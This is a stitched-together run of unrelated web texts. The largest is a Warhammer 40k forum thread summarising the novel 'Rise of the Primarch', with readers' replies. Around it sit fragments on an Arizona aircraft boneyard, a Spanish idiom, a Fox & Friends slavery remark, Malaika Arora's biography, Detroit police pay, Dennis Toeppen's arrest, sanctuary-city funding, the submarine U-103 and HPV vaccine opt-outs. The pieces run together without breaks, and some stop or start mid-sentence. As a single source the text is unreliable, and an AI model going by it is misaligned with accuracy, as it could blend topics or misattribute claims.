Mount and Blade: With Fire and Sword will be out sometime in Spring 2011.Rows after rows of once-majestic aircraft are lined up at Davis-Monthan Air Force Base in the baking heat of Arizona’s Tucson desert, left abandoned in piles of metal. This is where planes go to rest – a 2,600-acre patch of U.S. desert where several generations of military aircraft are stored by the 309th Aerospace Maintenance and Regeneration Group in what has been dubbed the “Boneyard“.
The “Boneyard” contains about 5,000 retired military aircraft throughout 2,600 acres. |
of a massive crowd, and is shocked at the sights around him. Terra looks very different from when he last saw it – where once had been industrious glory, now was buried in grotesque layers of gothic over-construction and macabre religious ornamentation. Some more pretty cool descriptions of Terra as Guilliman and co eventually reach one of the many entrances to the Emperor’s Throne Room.
This one is a massive doorway that stands at the end of a towering cathedral, its space filled with millions of pilgrims who cry out in awe as not only Guilliman passes through them but the Living Saint herself. Sicarius, Grand Master Voldus, Shield-Captain Adronitus, Cypher and his Fallen, Belisarius Cawl and Katarinya Greyfax are also accompanying Guilliman and Celestine, followed by the Battle Brothers of the Terran Crusade. At least Guilliman reaches the foot of the stairs leading up to the doorway, where a 20 strong contingent of Custodes stood at guard. Their leader steps forward, introduces himself as Aquila Commander Kalim Varanor, and formally asks who comes before the throne room of the Emperor. Shield-Captain Adronitus formally announces each of the leaders of the Terran Crusade as ancient formalities played out, befitting the gravitas of the arrival of a Primarch. The millions strong crowd hold their breath as the Aquila Commander makes his judgement. Varanor looks to a Hooded Tech Priest that had been waiting with the Custodes, and the Tech Priest nods his head…
…the Primarch would pass, alone, into the throne room. Everyone else will remain outside. Cypher went for his pistols – he’d upheld his end of the bargain and he’d been promised entrance! But Guilliman was not fool enough to trust the mysterious Dark Angel blindly. He might not recognise his person but he did recognise the blade Cypher carried on his back, the sight of which made him shudder with dread. There was no way he was allowing that near his father. Guilliman commands the Custodian Guard to apprehend Cypher and his compatriots. Cypher hesitates for a moment, caught between attempting escape or making a futile lunge for the doorway, before the Custodes surround him and arrest him. They take him to a cell that, not for thousands of years, had anyone escaped from but Cypher would do just that. But for the moment, Guilliman turns and ascends the steps to the Throne Room. The Custodes part way for him, but the hooded Tech Priest bows before him, blurting out in binary. Belisarius Cawl hurries up the steps to exchange binharic blurts with the other Tech-Priest before turning to Guilliman to speak of secret pacts on Mars and works nearing completion. Cawl then turns and heads down the stairs, and into the crowd, important work on Mars requiring his attention…
Guilliman stands alone before the door to the throne room. A single chime booms through the cathedral, and the sigh of million worshippers rings out as the doorway opens to reveal darkness. Guilliman takes a breath, and steps through. The doors close behind him. Hours pass, the warriors of the Terran Crusade standing to attention before the throne room. The murmurs of the crowd turn to fervent prayer, and some even step forward to offer thanks and meagre offerings to Captain Sicarius and Grand Master Voldus. Celestine and Greyfax bail at this point, to “spread her blessings” and to “report to her Ordo Hereticus superiors”. Ah, that’s what they’re calling it these days
Artificial Day turns to Artificial Night and Artificial Day again before the doors open once more, and Roboute Guilliman steps out, expression unreadable. He demands an immediate assembly of the High Lords of Terra, and that he will be resuming his seat on that council as well as forcibly removing several High Lords from office. He would, once again, become Lord Commander of the Imperium of Mankind. Of his meeting with the Emperor, all Guilliman would say is that he received all the enlighten he required. He warns the High Lords of an encroaching darkness, a terrible Warp phenomena that was manifesting over the galaxy as the war against Chaos enters a terrible new phase. Cadia was only the beginning – from Fenris to Armageddon to Attila and Balor, all were feeling the claws of Chaos. But hope was not lost. New Armies would be raised, in numbers not seen since the days of the Great Crusade. From Cawl’s forges on Mars would come new and terrible weapons whose fury the worshippers of Chaos would be unable to stand.
The Imperium would not drown in the tide of warfare, but instead ride upon the crest of a bloody wave to triumph against darkness.
This message was edited 2 times. Last update was at 2017/03/09 13:39:22
Subject: Rise of the Primarch - Plot Summary
Pilau Rice
Reading, UK
Reading, UK Alluring Sorcerer of Slaanesh
Thank you very much for this. I've enjoyed your other summaries.
Which would you say is the better of the books? The others haven't interested me as much as this one and i'm thinking about getting it for the Slaanesh and Nurgle insights.
No pity, no remorse, no shoes
Subject: Rise of the Primarch - Plot Summary
Caederes
Longtime Dakkanaut
Thanks for this!
So it ends on a cliffhanger? No definitive answer as to what occurs on Terra after Guilliman steps into the throne room and Cypher escapes his prison?
Also, Cypher reaching for his pistols at the end all but confirms he's going to shoot *someone*.
Subject: Rise of the Primarch - Plot Summary
buddha
The Eternity Gate
The Eternity Gate Grisly Ghost Ark Driver
In goon we trust! Thank you for the summary, what are the closing lines of the book?
01001000 01100001 01101001 01101100 00100000 01101111 01110101 01110010 00100000 01001110 01100101 01100011 01110010 01101111 01101110 00100000 01101111 01110110 01100101 01110010 01101100 01101111 01110010 01100100 01110011 00100001
Subject: Rise of the Primarch - Plot Summary
GoonBandito
Missionary On A Mission
Australia
lol. It's there now.
Automatically Appended Next Post:
Pilau Rice wrote:
Thank you very much for this. I've enjoyed your other summaries.
Which would you say is the better of the books? The others haven't interested me as much as this one and i'm thinking about getting it for the Slaanesh and Nurgle insights. Thank you very much for this. I've enjoyed your other summaries.Which would you say is the better of the books? The others haven't interested me as much as this one and i'm thinking about getting it for the Slaanesh and Nurgle insights.
Eh, honestly I would probably The Fracture of Biel-Tan was the most fun to read. And I'm far from being the world's greatest Eldar fan. Fall of Cadia was pretty good too. Rise of the Primarch is probably the weakest story imo - there's some decent enough insight into Guilliman's mind, as well as some great descriptions of Chaos and of Terra at the end, but the story is a bit underwhelming. Especially with the pretty anti-climatic ending, especially compared to how Fall of Cadia and Fracture of Biel-Tan left off. Oops, the forums ate the last paragraph of the posts. It's there now.Eh, honestly I would probably The Fracture of Biel-Tan was the most fun to read. And I'm far from being the world's greatest Eldar fan. Fall of Cadia was pretty good too. Rise of the Primarch is probably the weakest story- there's some decent enough insight into Guilliman's mind, as well as some great descriptions of Chaos and of Terra at the end, but the story is a bit underwhelming. Especially with the pretty anti-climatic ending, especially compared to how Fall of Cadia and Fracture of Biel-Tan left off.
This message was edited 2 times. Last update was at 2017/03/09 14:00:22
Subject: Rise of the Primarch - Plot Summary
Kriswall
East Coast, USA
East Coast, USA Prescient Cryptek of Eternity
I was really hoping for more information on Cypher and the Fallen. I guess we'll find out in book 4?
https://www.thingiverse.com/KrisWall/about
Completed Trades With: ultraatma Check out my website. Editorials! Tutorials! Fun Times To Be Had! - kriswallminis.com Completed Trades With: ultraatma
Subject: Rise of the Primarch - Plot Summary
Pilau Rice
Reading, UK
Reading, UK Alluring Sorcerer of Slaanesh
GoonBandito wrote:
Eh, honestly I would probably The Fracture of Biel-Tan was the most fun to read. And I'm far from being the world's greatest Eldar fan. Fall of Cadia was pretty good too. Rise of the Primarch is probably the weakest story imo - there's some decent enough insight into Guilliman's mind, as well as some great descriptions of Chaos and of Terra at the end, but the story is a bit underwhelming. Especially with the pretty anti-climatic ending, especially compared to how Fall of Cadia and Fracture of Biel-Tan left off. Eh, honestly I would probably The Fracture of Biel-Tan was the most fun to read. And I'm far from being the world's greatest Eldar fan. Fall of Cadia was pretty good too. Rise of the Primarch is probably the weakest story- there's some decent enough insight into Guilliman's mind, as well as some great descriptions of Chaos and of Terra at the end, but the story is a bit underwhelming. Especially with the pretty anti-climatic ending, especially compared to how Fall of Cadia and Fracture of Biel-Tan left off.
Not what I wanted to hear but thank you! Not what I wanted to hear but thank you!
No pity, no remorse, no shoes
Subject: Rise of the Primarch - Plot Summary
GoonBandito
Missionary On A Mission
Australia
Kriswall wrote:
I was really hoping for more information on Cypher and the Fallen. I guess we'll find out in book 4? I was really hoping for more information on Cypher and the Fallen. I guess we'll find out in book 4?
There's a page giving the backstory on Cypher, but its nothing you don't find on his dataslate or anything (He's mysterious! The Dark Angels want to capture him bad! He works with both Chaos and Imperial forces!). But yeah, he's barely in it. There's a page giving the backstory on Cypher, but its nothing you don't find on his dataslate or anything (He's mysterious! The Dark Angels want to capture him bad! He works with both Chaos and Imperial forces!). But yeah, he's barely in it.
Subject: Rise of the Primarch - Plot Summary
n0t_u
Inquisitor Reconciled to the Truth
I'm kind of hoping the meeting went like
*rowboat walks into the throne room*
Rowboat: Father I ha...
*emprah corpse sitting motionlessly on the golden throne*
Rowboat: Feth me they're even worse that I thought, screw this plan b go.
Subject: Rise of the Primarch - Plot Summary
Kap'n Krump
Denver, Colorado
Denver, Colorado Nasty Nob
You're doing God's work, GoonBandito.
Though, the phrase " Inquisitor Katarinya Greyfax can’t stop thinking about Saint Celestine…" is a little rule 34'y.
Also, it would be nice if you could link your summary of the first two books, which were also excellent.
This message was edited 1 time. Last update was at 2017/03/09 15:28:24 "Hope is the first step on the road to disappointment." Words to live by.
Subject: Rise of the Primarch - Plot Summary
Ynneadwraith
Agile Revenant Titan
even if Guilliman did make it to the throne, most of his fellow dudes got slaughtered on the way (and the rest of the galaxy is in flames). Wahey! Chaos seems like it's got teeth againeven if Guilliman did make it to the throne, most of his fellow dudes got slaughtered on the way (and the rest of the galaxy is in flames).
http://www.dakkadakka.com/dakkaforum/posts/list/702683.page
Also my Rogue Trader-esque spaceport factions http://www.dakkadakka.com/dakkaforum/posts/list/709686.page
Oh, and I've come up with a semi-expanded Shadow War idea and need some feedback!
Lastly I contribute to a blog too! Check out may pan-Eldar projectsAlso my Rogue Trader-esque spaceport factionsOh, and I've come up with a semi-expanded Shadow War idea and need some feedback! https://www.dakkadakka.com/dakkaforum/posts/list/726439.page Lastly I contribute to a blog too! http://objectivesecured.blogspot.co.uk/ Check it out! It's not just me
Subject: Rise of the Primarch - Plot Summary
Gamgee
Longtime Dakkanaut
That is... anti-climactic indeed. It has nowhere near the oomph as the other two did for how big of a game changer it is.
Cypher is just there in prison? I got to say I enjoyed the previous two more.
Well at least no one can go and scream bloody murder that the end times are happening anymore when the status quo is pretty similar to before all of these events. The Ynead is a far greater and more important event than a loyalist primarchs return. At least so far.
I'm okay with that it gives hope that the setting won't just focus on Primarch's all the time. Still I think they could have stuck the landing a little better.
If this is the new status quo it's pretty disappointing to have all this buildup just for that. It needed like 10-15% more shocking revelations at the end. Not having cypher plot resolved is torture as well. He was barely in it.
Subject: Rise of the Primarch - Plot Summary
Mad Doc Grotsnik
Most Glorious Grey Seer
Eeee!
Skipped big chunks, but couldn't resist some spoilers.
Subject: Rise of the Primarch - Plot Summary
primalexile
Washington
Washington Unhealthy Competition With Other Legions
@Goon, thank you very much for this I appreciate all the hard work you put into this.
Overall I am pretty unhappy with the way they took the story, I really was hoping for something more, the whole Cypher thing just feels unnecessary, I was really hoping Big E was a perpetual and the story ended with the Lions blade being plunged into Big E.
Subject: Re:Rise of the Primarch - Plot Summary
Shadow Captain Edithae
Lord of Carrion
The Sisters of Silence still exist? Awesome!
Subject: Rise of the Primarch - Plot Summary
Kap'n Krump
Denver, Colorado
Denver, Colorado Nasty Nob
Does anyone know how many, if any, books are left in the gathering storm? I heard somewhere they planned a total of 6, but I heard elsewhere that this was the last.
It seems unlikely this is the last, as it seems things are just getting started.
"Hope is the first step on the road to disappointment." Words to live by.
Subject: Rise of the Primarch - Plot Summary
Mad Doc Grotsnik
Most Glorious Grey Seer
Gathering Storm is a Trilogy.
We don't yet know (but kind of suspect) there'll be at least one other trilogy this year.
Subject: Rise of the Primarch - Plot Summary
Galef
Dallas area, TX
Dallas area, TX Awesome Autarch
Kap'n Krump wrote:
Does anyone know how many, if any, books are left in the gathering storm? I heard somewhere they planned a total of 6, but I heard elsewhere that this was the last.
It seems unlikely this is the last, as it seems things are just getting started. Does anyone know how many, if any, books are left in the gathering storm? I heard somewhere they planned a total of 6, but I heard elsewhere that this was the last.It seems unlikely this is the last, as it seems things are just getting started.
I heard there are only going to be 3 "Gathering Storm" books, but afterwards there with be 3 books continuing the story called something else. Like "The Storm has Arrived" or some such
It's pretty clear that this is all setup for something bigger.
Age of the new Emperor, anyone?
- I heard there are only going to be 3 "Gathering Storm" books, but afterwards there with be 3 books continuing the story called something else. Like "The Storm has Arrived" or some suchIt's pretty clear that this is all setup for something bigger.Age of the new Emperor, anyone?
Subject: Rise of the Primarch - Plot Summary
Gamgee
Longtime Dakkanaut
8th Edition is in June. We got fresh rumor confirming it. The guy has a decent 75% correct on the rumor tracker. It's most likely happening there.
So if there are only two more 40k books possible before 8th what would they be? Or will GW make those AoS months?
I suspect the next series of books will not be until after 8th. Seems pointless not to be. Most likely that is when we will see the mortarion leaked model. There are also rumors from hastings (high accuracy as well) of another deamon priomarch being worked on and possibly one more loyalist. 8th is supposed to launch with a new faction of super space marines created from gullimans blood and given new power armor and bolter pattern from cawl.
So... all I can say is it seems like there is no xenos love. This seems like 30k MK2. I'm dreading the march preview event now. Feels like 40k is dying to me and just becoming horus heresy 2.
This message was edited 2 times. Last update was at 2017/03/09 17:47:16
Subject: Rise of the Primarch - Plot Summary
Melissia
USA
USA Locked in the Tower of Amareo
The summary makes it look like it started off half-decent, but then devolve in to "ERMAGERD ROWBOAT GELDINGMEN IS SO GREAT ALL HIS ALLIES LOVE HIM AND ALL HIS ENEMIES WANT TO KILL HIM BUT THEY CAN'T BECAUSE HE 'S JUST TOO GREAT WHY DON'T YOU LIKE HIM TOO?!?!?!?"
The people in the past who convinced themselves to do unspeakable things were no less human than you or I. They made their decisions; the only thing that prevents history from repeating itself is making different ones.
-- Adam Serwer
My blog
Subject: Rise of the Primarch - Plot Summary
The Deathless Host
In the Trenchs
In the Trenchs Stalwart Tribune
From the way Girlyman's Meeting is phrased. I'm now thinking he walked it, sat down and used whatever the 40k equivalent of google is to find out what a terrible state the Imperium is in, looks up to his father's rotting corpse and says:
"No."
Then he plods off to start the long and arduous task of fixing the imperium. Just like daddy would have wanted.
Praise be to Dark Sphere savior of cheapskates!
Subject: Rise of the Primarch - Plot Summary
Kap'n Krump
Denver, Colorado
Denver, Colorado Nasty Nob
Mad Doc Grotsnik wrote:
Gathering Storm is a Trilogy.
We don't yet know (but kind of suspect) there'll be at least one other trilogy this year. Gathering Storm is a Trilogy.We don't yet know (but kind of suspect) there'll be at least one other trilogy this year.
Ah, ok, double trilogy would mesh with what I've heard then.
And yeah, I think the 8th in june rumor is probably accurate. Because gathering storms started early this year, and it's now march, so logically, if another trilogy started, it would probably end june-ish.
Bad guys definitely need some new toys, though. Don't even care if it's not orks, CSM definitely deserve something shiny after all this 'good guy' nonsense. Ah, ok, double trilogy would mesh with what I've heard then.And yeah, I think the 8th in june rumor is probably accurate. Because gathering storms started early this year, and it's now march, so logically, if another trilogy started, it would probably end june-ish.Bad guys definitely need some new toys, though. Don't even care if it's not orks,definitely deserve something shiny after all this 'good guy' nonsense.
This message was edited 1 time. Last update was at 2017/03/09 18:15:18 "Hope is the first step on the road to disappointment." Words to live by.
Subject: Rise of the Primarch - Plot Summary
Neronoxx
Sword-Bearing Inquisitorial Crusader
primalexile wrote:
@Goon, thank you very much for this I appreciate all the hard work you put into this.
Overall I am pretty unhappy with the way they took the story, I really was hoping for something more, the whole Cypher thing just feels unnecessary, I was really hoping Big E was a perpetual and the story ended with the Lions blade being plunged into Big E.
@Goon, thank you very much for this I appreciate all the hard work you put into this.Overall I am pretty unhappy with the way they took the story, I really was hoping for something more, the whole Cypher thing just feels unnecessary, I was really hoping Big E was a perpetual and the story ended with the Lions blade being plunged into Big E.
No wonder you were disappointed. No wonder you were disappointed.
Subject: Rise of the Primarch - Plot Summary
Blackhair Duckshape
Malben
Malben Slaanesh Veteran Marine with Tentacles
Can we get a summary of this summary, please?
Qa'avok Dynasty: 4000+ pts
Hive Fleet Somethingorother: 1000+ pts
Word Bearers: 1500+ pts
Emperor's Children: 500+ pts
White Scars: Literally one box of half painted tactical marines. Qa'avok Dynasty: 4000+ ptsHive Fleet Somethingorother: 1000+ ptsWord Bearers: 1500+ ptsEmperor's Children: 500+ ptsWhite Scars: Literally one box of half painted tactical marines.
Subject: Rise of the Primarch - Plot Summary
amazingturtles
drinking tea in the snow
drinking tea in the snow Courageous Questing Knight
Automatically Appended Next Post:
Blackhair Duckshape wrote:
Can we get a summary of this summary, please? Can we get a summary of this summary, please?
Imperials: "Augh Chaos!"
"Wait, the big guy's awake now"
Chaos: "Augh a Primarch!"
Gods: "Time for some trix."
Gull: "Dang, tricked!"
Cyphs: "Let me untrick you for sneaky reasons"
Gull: "Ok"
All: "Let's go to the moon!"
Gull: "Ok"
Chaos: "Hi, we like the moon too"
*Fighting sounds*
Gull: "I'm gonna see my dad, ok?"
All: "Ok"
......
Gull: "Dang." I'm always glad that you share these things in such detail, GoonBandito! even if the story is... not exactly to my taste. It's still good to have a detailed but readable summary like this.Imperials: "Augh Chaos!""Wait, the big guy's awake now"Chaos: "Augh a Primarch!"Gods: "Time for some trix."Gull: "Dang, tricked!"Cyphs: "Let me untrick you for sneaky reasons"Gull: "Ok"All: "Let's go to the moon!"Gull: "Ok"Chaos: "Hi, we like the moon too"*Fighting sounds*Gull: "I'm gonna see my dad, ok?"All: "Ok"......Gull: "Dang."
This message was edited 1 time. Last update was at 2017/03/09 19:18:40 realism is a lie
Subject: Rise of the Primarch - Plot Summary
wyomingfox
Reedsburg, WI
Reedsburg, WI Fireknife Shas'el
Thanks for all the work relaying the story!
Subject: Re:Rise of the Primarch - Plot Summary
stewe128
Regular Dakkanaut
So if this ends in a cliffhanger, I'm betting money next month is a another book "Death of the Emperor" or something like that where Cypher gasses the Emperor madness breaks loose and Abaddon brings in his boy Morty to kill everyone then BOOM 8th comes out and a wave of new updates and models for EVERYTHING.
Subject: Re:Rise of the Primarch - Plot SummaryThe most ambiguous sentence in the Spanish language
“A ver si tomamos algo” is perhaps the most ambiguous sentence in the Spanish language.
Roughly translated as “Maybe we could have a drink together some day,” it is both the beginning and the end of many relationships in Spain.
In certain contexts, it means “I find you extremely attractive and wish to see you naked at your earliest convenience.”
In this case, it is followed by an exchange of telephone numbers and a kiss on each cheek, followed by texting, phone calls, actual drinks, and — hopefully — actual sexual intercourse.
Of course, sometimes it is said between friends. But sometimes, it’s even said between enemies.
Friends who don’t often see each other might use it to set up a meeting in which to talk about their recent divorce, unemployment or fear of unemployment, government corruption, or football.
Finally, it is sometimes said between people who secretly despise each other or otherwise have no urge to see each other again. In this case, it’s a mere formality… A way to leave the conversation politely, without hurting anyone’s feelings.
If you run into someone you once knew and never liked on the streets of Madrid, your first and best option is to look the other way and hope they do the same.
If this ploy is ineffective (maybe, for some reason, they feel differently about you than you do about them), you must attempt an awkward conversation.
You know… about recent divorce, unemployment or fear thereof, etc — which ends with a quick glance at your watch and a shrug of the shoulders.
“¡A ver si tomamos algo un día de estos!” you say, cheerily. “I think I still have your number somewhere… We’ll be in touch.”
“Me alegro de verte,” the other person lies.
Both of you knows full well you’ll never contact the other, and you’ll both secretly hope that the next time you run into each other, one of you will be able to duck around a corner fast enough to avoid going through the whole awkward farce again.
So it goes — life in Madrid.
For more, check out 10 obscene Spanish expressions.Katrina Pierson was only trying to help President Donald Trump. That’s why she said slavery was “good” on Fox & Friends this morning.
It all started with a debate over House Minority Leader Nancy Pelosi’s push to remove Confederate monuments from the U.S. Capitol in the aftermath of the Charlottesville white-supremacist rally that turned deadly.
On one side was Pierson, a former spokesperson for the Trump campaign, who accused the Democratic leader of trying to “ actually help these anarchists and these violent protesters tear down pieces of America, American culture, and American history.”
“The only place that that's being done right now is by ISIS and I really don't think that you should have leaders actually encouraging people to do these types of things,” she continued, “because Americans actually love their history, their culture, good and bad, because it helps them learn and it helps keep people educated about why America is so great to begin with.”
On the other side was Wendy Osefo, the left-leaning half of Fox & Friends’ most devastating segment the week before, who pushed back fairly gently against Pierson, saying the statues belonged in museums, not on state grounds.
But it was this comment from Pierson that caught Osefo’s attention: “It absolutely deserves a place, because bad history is still good history for this country.”
“Slavery is good history?” Osefo asked in disbelief.
Now, while most reasonable person would respond with an emphatic, “of course not,” Pierson went a different direction.
“Considering where we are today! Where we are today! Absolutely!” she said.
“Slavery is good history? Absolutely? Oh, wow,” Osefo shot back.
When Pierson argued that American children wouldn’t know “how special and how wonderful” this country is without the Civil War, Osefo asked, “How special slavery is? You know how many people died?”
All host Ainsley Earhardt could do is try to get between them with general platitudes like “it’s clearly a heated topic” and “no one is racist, no one believes in racism or bigotry” that don’t seem quite as universal as they used to.
Pierson, who became known for viral moments like this one during the 2016 campaign, turned down a role with the Trump administration, as Sean Spicer told The Daily Beast back in March, possibly in the deputy press secretary role that went instead to Sarah Huckabee Sanders.
One can only imagine what the White House press briefings would be like with Pierson behind the podium.Malaika Arora is an Indian actress, dancer, model, VJ, and television presenter.[1] She is most famous for her dancing in the songs Chaiyya Chaiyya (1998), Gur Naalo Ishq Mitha (1998), Maahi Ve (2002), Kaal Dhamaal (2005) and Munni Badnaam Hui (2010). She turned into a film producer in 2008, with her former husband,[2] Arbaaz Khan. Their company Arbaaz Khan Productions has released films like Dabangg (2010) and Dabangg 2 (2012).
Early life and background
Malaika Arora was named after the Swahili word "Malaika" meaning "angel".[3] She was born in Thane, Maharastra. Her parents divorced when she was 11 years old and she moved to Chembur with her mother & sister Amrita. Her mother, Joyce Polycarp, is a Malayali Catholic and her father, Anil Arora, was a Punjabi native to Indian border town of Fazilka, who worked in the Merchant Navy.[4][5][6][7]
She completed her secondary education from Swami Vivekanand School in Chembur. Her aunt, Grace Polycarp, was the principal of the school. She is also an alumnus of the Holy Cross High School Thane where she studied until ninth grade. She pursued her college education from Jai Hind College, Churchgate but did not complete it on account of professional engagements. She lived in Borla Society, Chembur opposite Basant Talkies before starting her modelling career.[8]
Career
Arora was selected as one of the VJs when MTV India started its operations. She began working as an interviewer, hosted shows such as Club MTV,[9] and later co-hosted with Cyrus Broacha the shows Love Line and Style Check.[10] Malaika then entered the modelling world, appearing in many advertisements, for album songs like Bally Sagoo's "Gur Naalo Ishq Mitha" opposite Jas Arora and item numbers such as "Chaiyya Chaiyya" in the 1998 Bollywood film Dil Se...[10]
In the 2000s, apart from featuring in item numbers for various films, she made cameo appearances in a few films. In 2008, she appeared in her first major acting role in the film EMI which was a box-office failure.
In 2010, she featured in the item song "Munni Badnaam Hui" in the film Dabangg, which was produced by her former husband Arbaaz Khan.[11] On 12 March 2011, she helped set a world record with 1235 participants performing a choreographed dance to "Munni Badnaam" which she led.[12]
She was the Taiwan Excellence celebrity endorser in 2012.[13] She endorsed Dabur's 30-plus.[14] She states that she never wanted to do acting.[15] She performed live alongside Atif Aslam, Shaan and Bipasha Basu in a series of concerts[16] at LG Arena in Birmingham[17] and The O2 Arena in London.
In 2014, she confirmed that she would make a cameo appearance in the Farah Khan-directed action comedy-drama film Happy New Year.[18]
Television
Malaika appeared on the television show Nach Baliye as one of the three judges.[1] The show was aired on STAR One in mid-2005. She continued as a judge in Nach Baliye 2 which started airing in the last quarter of 2006. In this show, she performed many item numbers as an example for the contestants. She appeared on the show Zara Nachke Dikha as a judge on Star One.[4] She was a judge on the show Jhalak Dikhhla Jaa in 2010.[19]
Malaika is on the judges panel in the show India's Got Talent.[20]
Personal life
Malaika was married to Bollywood actor-director-producer Arbaaz Khan in 1998 whom she met during a coffee ad shoot.[2] On 28 March 2016, they announced separation citing compatibility issues.[21][22] The couple officially got divorced on May 11, 2017.[23] Together they have a son, Arhaan, born on 9 November 2002.[24] The custody of the son after the divorce is with Malaika. While Arbaz has visitation rights on his son, as per the settlement reached in the Bandra Family Court. Her sister is actress Amrita Arora, and her former brothers-in-law are Bollywood actor Salman Khan and Bollywood actor-director-producer Sohail Khan. Her former father-in-law is scriptwriter Salim Khan.[1]
Filmography
As actress
As producer
As Dancer
TelevisionDETROIT - Detroit's post-bankruptcy finances are locked in and its police officers are not making a lot of money. However, there is a push to allow more money to get to them if it ever shows up in the budget.
The Detroit Police Officer's Association cites starting pay for officers in the city at $28,466 a year, which is much less than Chicago's $43,000 or Los Angeles' $50,000.
What doesn't help is that Detroit officers' hourly pay is $15.26 cut by eight percent for pension obligations, and after the healthcare contribution, officers make $12.29 before taxes.
DPOA union chief Mark Diaz wants that to change.
"I am pursuing a better wage for front line police officers in the City of Detroit," Diaz said.
He's gained support in Lansing for a bill that would exempt the beat cop from the "most favored nation" status.
In union negotiating parlance, most favored nation is the "me too" clause. It says that if one group of public safety officers gets a raise, they all do. But, oftentimes, cities say it's too expensive to give everyone a raise, therefore no one gets one.
"The only way we are going to be able to hire police officers in Detroit is we have to pay right. The idea we're looking for is to let the front line police officer stand alone. Let's focus on the officers who are responding to the crisis calls for help at 3 p.m. Let's hold them apart and let's pay them appropriately," Diaz said.
Detroit's front line officers would get two percent raises next year and in 2017.
While it sounds logical, it flies in the face of about 70 years of union negotiating practice and it is torqueing off union leaders like John Barr, who represents the EMT's union.
"They might as well be right to work then because that's not unionist," Barr said.
The bill, which would only affect Detroit police officers, appears to have both democrat and republic support in Lansing.
Copyright 2015 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Dennis Toeppen, infamous former cyber squatter and current owner of the Illinois shuttle bus service Suburban Express, rose to further notoriety last year for his attempts to silence social media critics on reddit and Yelp through legal threats and alleged online intimidation. Those critics were responding to Suburban Express's policy of suing students at the University of Illinois Urbana-Champaign in an out-of-county court to coerce them into paying penalties when they didn't follow draconian passenger policies. Unsurprisingly, the situation didn't work out well for Toeppen, resulting in a massive Streisand Effect (including drawing attention from Ken “Popehat” White, who offered pro bono legal help to a redditor threatened with a lawsuit).
Yesterday, Toeppen added another chapter to his strange story when he was arrested in Champaign, Illinois on two counts of "Harassment through electronic communications," a class B misdemeanor in Illinois, according to a spokesperson for the Lake County State's Attorney's Office. By this morning, he had posted the $10,000 bond and was free awaiting arraignment, according to a spokesperson for the Champaign County |
his investigation to recently include former White House Chief of Staff Reince Priebus, and the investigation has been remarkably buttoned up (for example, news of an early-morning raid of Paul Manfort’s home did not break for 10 days after.)
In a recent post, Harvard Law professor Lawrence Lessig recently opened a thought exercise by claiming “There’s a bunch of chatter about imminent action by the special prosecutor. Some of that chatter suggests evidence of a real tie with Russia during the election. By “real tie” I mean more than that the Russians tried to help. A “real tie” would be real evidence of a conspiracy between the Trump campaign and Russia.”
Perhaps the timing of Assange and Clinton’s active discussion of Russian Collusion with the 2016 General Election is rooted on pending news. Or perhaps these are the words of competing narcissists who each need media attention and, like pro wrestlers, realize they each need a villain to make the other look good. Time will tell.
Have a tip we should know? tips@mediaite.comPresident Donald Trump could withhold nearly $27 billion from sanctuary cities as a penalty for harboring illegal immigrants, a nonprofit group reported Friday.
“We sourced nearly $27 billion to sanctuary cities in federal grants and direct payments” in 2016, a report by the accountability group Open The Books said.
“The vast majority of federal monies fund critical infrastructure in major cities like housing, education, law enforcement and policing and transportation,” Open The Books CEO Adam Andrzejewski told The Daily Caller News Foundation. “Ultimately, the courts will determine the scope of federal funding penalties.”
(Map: Open The Books)
Trump signed an executive order Jan. 25 that denied federal funding to jurisdictions refusing to cooperate with federal officials seeking to deport illegal immigrants.
“Mayors defending their sanctuary city status by refusing to comply with federal law are essentially imposing a defiance tax on local residents,” Andrzejewski said. “On average, this tax amounts to $500 per man, woman and child.” (RELATED: Miami Protesters Demand Reinstatement Of ‘Sanctuary City’ Policy)
“Washington, D.C. municipal government received the highest amount of federal funding on a per capita basis,” according to the report, with $3,228 per person, or nearly $2.1 billion total. Chicago “received the second highest amount of federal funding on a per capita basis,” at $1,942 per person or $5.3 billion total. (RELATED: Sanctuary City Mayors Respond In Defiance To Trump’s Executive Order)
Nearly $16 billion “in federal funds flowed into just 12 major American cities – where 1-in-5 illegal entrants” resided in 2016, the report said. Those twelve cities account for 2.2 million of the 11 million illegal immigrant population.
Those 12 cities, in order of the largest illegal immigrant population to smallest, are: Los Angeles; New York City; Chicago; Seattle; Austin, Texas; Newark, N.J.; Denver; Philadelphia; Minneapolis; San Francisco; Portland, Ore.; and Providence, R.I..
There are over 300 sanctuary governments in the U.S., according to a May, 2016, Department of Justice memo. Open The Books only examined the 106 cities.
Follow Ethan on Twitter. Send tips to ethan@dailycallernewsfoundation.org.
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.For other ships with the same name, see German submarine U-103
SM U-103[Note 1] was an Imperial Germany Navy Type U 57 U-boat of the First World War. U-103 was built on AG Weser in Bremen, launched on 9 June 1917 and commissioned 15 July 1917. She completed five tours of duty under Kptlt. Claus Rücker and sank eight ships totalling 15,462 gross register tons (GRT).[3]
Loss [ edit ]
Olympic during WWI HMTduring WWI
In the early hours of 12 May 1918, U-103 prepared to launch torpedoes from her stern tubes at RMS Olympic, a sister ship of RMS Titanic, which was en route for France with US troops on board. The crew was unable to flood the two stern torpedo tubes, and the submarine was sighted on the surface by Olympic, whose gunners opened fire as Olympic turned to ram.
U-103 started to crash dive to 30 m (98 ft) and turned to a parallel course, but almost immediately afterwards was struck just aft of her conning tower and Olympic's port propeller sliced through U-103's pressure hull. The crew of U-103 blew her ballast tanks and scuttled and abandoned their sinking submarine. Nine crewmen lost their lives. Olympic did not stop to pick up the survivors, but continued on to Cherbourg. USS Davis later sighted a distress flare and took 35 survivors to Queenstown.[4][5]
U-103's wreck lies at position Coordinates:.
Summary of raiding history [ edit ]
See also [ edit ]
References [ edit ]
Notes [ edit ]
^ "SM" stands for "Seiner Majestät" (English: His Majesty's ) and combined with the U for Unterseeboot would be translated as His Majesty's Submarine. ^ Tonnages are in gross register tons
Citations [ edit ]
Bibliography [ edit ]Schoolgirls are being denied a potentially life-saving cervical cancer jab at their schools on religious grounds.
Some schools in England have opted out of the HPV vaccination programme because their pupils follow strict Christian principles and do not have sex outside marriage. The jab guards against two strains of the human papillomavirus (HPV) virus – 16 and 18 – which cause 70% of cases of cervical cancer. It is offered routinely to girls aged 12 to 13.
But an investigation by GP magazine found 24 schools in 83 of England's 152 primary care trust (PCT) areas were opting out of the vaccination programme, many of them on religious grounds.
The magazine found the majority of schools opting out did not tell their local GPs, where the girls could be offered the vaccine.
